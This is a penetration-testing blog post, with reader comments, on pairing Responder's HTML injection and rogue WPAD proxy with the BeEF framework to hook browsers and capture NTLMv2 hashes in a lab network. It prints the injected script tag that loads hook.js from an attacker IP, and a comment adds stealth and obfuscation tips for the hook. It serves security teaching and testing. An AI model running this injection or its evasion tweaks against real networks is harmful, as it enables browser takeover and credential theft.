Getting Hooked up with Responder and Beef

Christopher Truncer Pen Test Techniques ,

Responder is a really effective tool that I’ve written about before which can be used to easily obtain user credentials on a network.  However, in Responder’s 2.0 release, the ability to perform HTML injection attacks were added to the tool.  This capability can be easily utilized to perform a variety of nefarious actions against our targets.  The first tool that I thought using to leverage the HTML injection capabilities of Responder, is Beef.  Beef is described as being a browser exploitation framework.  The goal of an attacker utilizing Beef would be to “hook” another user’s browser.  Once hooked, Beef contains a large number of modules that can be used to attack the victim’s web browser (which I would perform a disservice if I tried to describe all of Beef’s capabilities in a single post).  So the attack that I’m going to demonstrate is using Responder’s ability to inject HTML and hook systems on the network I am targeting with Beef.

Edit: @Antisnatchor provided some really good feedback in the comments.  I think it’s worth everyone reading what he said, so they are copied here:

“Few things to add, change the following in the main config.yaml config file:

– reduce xhr_poll_timeout to 500 (milliseconds), so polling will happen twice a second
– change hook_file to jquery.js or something different to change the hook name (more stealthy), as well as hook_session_name and session_cookie_name to different values.
– enable the Evasion extension, just use ‘scramble’ + ‘minify’ as obfuscation techniques. This will minify/pack JS and scramble variables like BeEF/beef to random ones.
– change default BeEF credentials and web_ui_basepath

I would also add the BeEF hook tag in rather than .

Then once it’s up, you can automate module lanching to multiple hooked browser based on fingerprinting results via the RESTful API.” 

First, you’re going to need to get Beef started on your attacking platform.  If you’re using Kali, it’s located within the /usr/share/beef-xss directory.  Once within it, simple type “./beef” and wait as the framework starts up.  Your console should look similar to the following once it is ready to go:

Beef startup

Next up, we need to slightly modify Responder’s config file.  If you haven’t already, clone the project to your attacking platform, and then open up Responder.conf in a text editor.  Within the Responder.conf file you’re going to want to change the “HTMLToServe” value.  To carry out the attack, we want to inject Beef’s javascript file used to hook browsers.  I just changed the value to be:

HTMLToServe = <html><head></head><body><script src="http://192.168.63.149:3000/hook.js" type="text/javascript"></script></body></html>

Your config should look similar to the following now:

Responder Config

With this added in, Responder will inject the javascript containing our beef hook into any page that it is able to do so.  First, I’m going to need to start Responder.  The options that I am passing into Responder tells it to listen on my local IP, stand up a rogue wpad proxy, and display verbose messages.

Start Responder

With both Beef and Responder up and running, it’s time to get our hooks!  To test this out, I’m going to just have the web browser from my Windows 7 victim VM attempt to navigate to http://intranet/.  When it requests the web page, Responder will serve up the a web page.  In my case, I don’t have an actual machine called “intranet” within my lab network, so Responder will just serve up a web page only containing the Beef hook code.

Web-Requested

Not only did Responder see the web request, but it was also able to obtain the NTLMv2 hash use by the current user “sonofflynn”.  If I were to look at the web page on my Windows 7 VM, it just shows a blank page.  However, the blank page has also loaded up my beef hook, and after logging into the Beef console, I can see it’s successfully been hooked.  With our victim’s browser hooked, we can now perform a wide variety of enumeration and attacks against or through the victim’s browser.  I highly recommend to review the large number of posts that talk about beef and the variety of attacks it contains.

Beef Hooked

I have had at times Responder act “funny” by serving up what appears to be random ascii code vs an actual website.  I have also had issues with it injecting the HTML code at times.  However, this seems to work best for me to get repeatable results and hooks.  If there’s something that I’ve missed, or a better way to inject html code/beef hooks/etc. I’d love to hear about it and get to learn a better way (or maybe the right way :)).  Otherwise, hope that this helps, and feel free to hit me up for any questions!

3 thoughts on “Getting Hooked up with Responder and Beef”

  1. Nice article buddy!

    Few things to add, change the following in the main config.yaml config file:
    – reduce xhr_poll_timeout to 500 (milliseconds), so polling will happen twice a second
    – change hook_file to jquery.js or something different to change the hook name (more stealthy), as well as hook_session_name and session_cookie_name to different values.
    – enable the Evasion extension, just use ‘scramble’ + ‘minify’ as obfuscation techniques. This will minify/pack JS and scramble variables like BeEF/beef to random ones.
    – change default BeEF credentials and web_ui_basepath

    I would also add the BeEF hook tag in rather than .

    Then once it’s up, you can automate module lanching to multiple hooked browser based on fingerprinting results via the RESTful API.

    Hope it helps
    Thanks for this, really nice

    Reply

  2. Hi,

    Great article but the using responder seems surplus to requirement unless you’re performing these attacks on the same LAN segment. How do you see this working over the Internet?

    Kind regards,

    R3alW0rld

    Reply

Leave a Reply